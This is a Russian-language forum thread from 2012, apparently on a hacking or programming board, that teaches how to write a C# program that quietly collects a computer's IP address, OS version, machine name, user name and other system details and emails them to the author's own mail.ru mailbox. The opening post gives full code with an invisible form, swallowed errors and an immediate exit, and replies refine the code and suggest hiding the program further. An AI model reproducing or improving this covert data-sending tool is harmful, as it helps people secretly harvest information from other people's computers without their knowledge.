PDA

Просмотр полной версии : [Информация] Пишем программу для отправки систем. инфо себе на почту


mc228)[2]
05.07.2012, 14:23
Приветствую!
Сейчас мы будем учиться писать простую программу для отправки системной информации себе на почту.
Приступим!
Создаем проект.
Заменяем свои using на эти:

using System;
using System.Drawing;
using System.Linq;
using System.Windows.Forms;
using System.Net.Mail;
using System.Diagnostics;

Кликаем по форме и задаем значение в свойствах: FormBorderStyle = None и Opacity = 0.

Нам понадобиться 7 textbox 1 combobox

Теперь кликаем 2 раза по форме чтобы перейти к коду загрузки формы.

Туда пишем:



String host = System.Net.Dns.GetHostName();
System.Net.IPAddress ip = System.Net.Dns.GetHostByName(host).AddressList[0];
textBox1.Text = ip.ToString();
textBox2.Text = Environment.OSVersion.ToString();
textBox3.Text = Environment.MachineName.ToString();
textBox4.Text = Environment.ProcessorCount.ToString();
PerformanceCounter ram = new PerformanceCounter("Memory", "Available MBytes");
textBox5.Text = "Количество свободной памяти: " + ram.NextValue().ToString() + " Mb";
textBox6.Text = Environment.UserName.ToString();
textBox7.Text = Environment.SystemDirectory.ToString();

SmtpClient client = new SmtpClient("smtp.mail.ru", 2525); // Здесь указываем смтп сервер и порт, который мы будем использовать
client.Credentials = new System.Net.NetworkCredential("*ТВОЁ МЫЛО*", "*ТВОЁ МЫЛО*"); // Указываем логин и пароль для авторизации

string msgFrom = "*ТВОЁ МЫЛО*"; // Указываем поле, от кого письмо
string msgTo = "*ТВОЁ МЫЛО*"; // Указываем поле, кому письмо будет отправлено
string msgSubject = "Info"; // Указываем тему пиьсма

string msgBody = String.Format("Имя компьютера: {1} \nОперационная Система: {2}\nIP: {3}\nКоличество процессоров: {4} \n{5}\nИмя пользователя: {6}\nСистемная дирректория: {7}",
comboBox1.SelectedItem, textBox1.Text, textBox2.Text, textBox3.Text, textBox4.Text, textBox5.Text, textBox6.Text, textBox7.Text);

MailMessage msg = new MailMessage(msgFrom, msgTo, msgSubject, msgBody); // Создаем письмо, из всего, что сделали выше

try
{
client.Send(msg); // Отправляем письмо
}
catch { }
Application.Exit();

Всё! программа готова!
[Ссылки могут видеть только зарегистрированные и активированные пользователи]

На всякий случай проект во вложениях

Sinyss
05.07.2012, 15:10
Что за бред?
Зачем нам текстбоксы?
Зачем таймер?
Что если пинг больше значения таймера, отправится ли сообщение?
Зачем нам combobox, если в коде ты его не заполняешь?
Зачем подключать using System.Linq; если ты его не используешь?
Зачем использовать WinForms если мы можем вообще без них??
Да и отображение данных нам не нужно...

mc228)[2]
05.07.2012, 15:21
Зачем нам текстбоксы?
в текст боксах прописываються данные (IP, название ПК)
Зачем таймер?
чтобы программа автоматически закрылась
Что если пинг больше значения таймера, отправится ли сообщение?
да
Зачем нам combobox, если в коде ты его не заполняешь?
без него может выбить ошибку при отправке письма (хз что за бред)
Да и отображение данных нам не нужно...
так и есть, Opacity = 0 т.е программа будет невидимая и сам будет закрываться...

Sinyss
05.07.2012, 15:34
;3154114"]в текст боксах прописываються данные (IP, название ПК)
ЗАЧЕМ???? для этого же есть обычные переменные.

;3154114"]чтобы программа автоматически закрылась
Тебе не кажется что было бы логично закрывать ее сразу после того как она выполнит свою задачу а не по таймеру?
;3154114"]без него может выбить ошибку при отправке письма (хз что за бред)
Не может такого быть, где то ты тупишь.
;3154114"]так и есть, Opacity = 0 т.е программа будет невидимая и сам будет закрываться...
Она будет прозрачной, а не невидимой. Зачем нам вообще форма если мы можем без нее обойтись?

Skilful
07.07.2012, 19:38
Sinyss, он просто учится еще.
вообщем,
mc228)[2], , должно быть так :

PerformanceCounter ram = new PerformanceCounter("Memory", "Available MBytes");
string msgFrom = "*ТВОЁ МЫЛО*"; // Указываем поле, от кого письмо
string msgTo = "*ТВОЁ МЫЛО*"; // Указываем поле, кому письмо будет отправлено
string msgSubject = "Info"; // Указываем тему письма
SmtpClient client = new SmtpClient("smtp.mail.ru", 2525); // Здесь указываем смтп сервер и порт, который мы будем использовать
client.Credentials = new System.Net.NetworkCredential(msgFrom, "password"); // Указываем логин и пароль для авторизации
string msgBody = String.Format("Имя компьютера: {0}\nОперационная Система: {1}\nIP: {2}\nКоличество процессоров: {3} \nИмя пользователя: {5}\nСистемная дирректория: {6}\nКоличество свободной памяти: {6} Mb",
Environment.MachineName.ToString(), Environment.OSVersion.ToString(), System.Net.Dns.GetHostByName(System.Net.Dns.GetHos tName()).AddressList[0].ToString(), Environment.ProcessorCount.ToString(), Environment.UserName.ToString(), Environment.SystemDirectory.ToString(),ram.NextVal ue().ToString());

MailMessage msg = new MailMessage(msgFrom, msgTo, msgSubject,
String.Format("Имя компьютера: {0}\nОперационная Система: {1}\nIP: {2}\nКоличество процессоров: {3} \nИмя пользователя: {5}\nСистемная дирректория: {6}\nКоличество свободной памяти: {6} Mb"
,Environment.MachineName.ToString(),
Environment.OSVersion.ToString(),
System.Net.Dns.GetHostByName(System.Net.Dns.GetHos tName()).AddressList[0].ToString(),
Environment.ProcessorCount.ToString(),
Environment.UserName.ToString(),
Environment.SystemDirectory.ToString(),
ram.NextValue().ToString())); // Создаем письмо, из всего, что сделали выше
try
{
client.Send(msg); // Отправляем письмо
}
catch { MessageBox.Show("Ошибка отправки сообщения!"); }
Application.Exit();
мб где то ошибся, я без компилятора

xFroLx
08.07.2012, 14:06
пропиши Hide(); если уж так нужна форма, видать ее будет только в процессах

Sinyss
08.07.2012, 15:13
пропиши Hide(); если уж так нужна форма, видать ее будет только в процессах
/facepalm /facepalm /facepalm /facepalm
Форма то как раз и не нужна... зачем ее вообще создавать?

ALЕХ-1997
11.07.2012, 12:58
/facepalm /facepalm /facepalm /facepalm
Форма то как раз и не нужна... зачем ее вообще создавать?

нужна,куда по твоему код вставлять?

Yukikaze
11.07.2012, 13:32
ALЕХ-1997, очевидно же, в Program.cs
static class Program
{
/// <summary>
/// Главная точка входа для приложения.
/// </summary>
//[STAThread] //Этот атрибут удаляем, всеравно поток под форму уже не нужен
static void Main()
{
//Application.EnableVisualStyles(); // Темболее удаляем, зачем на оформление без самой формы
//Application.SetCompatibleTextRenderingDefault(fals e); // и текст у нас больше не рендерится
//Application.Run(new Form1()); // и это нам тоже не нужно
}
работаем как с обычным консольным приложением, только без привычной консоли
...
ПРОФИТ!!!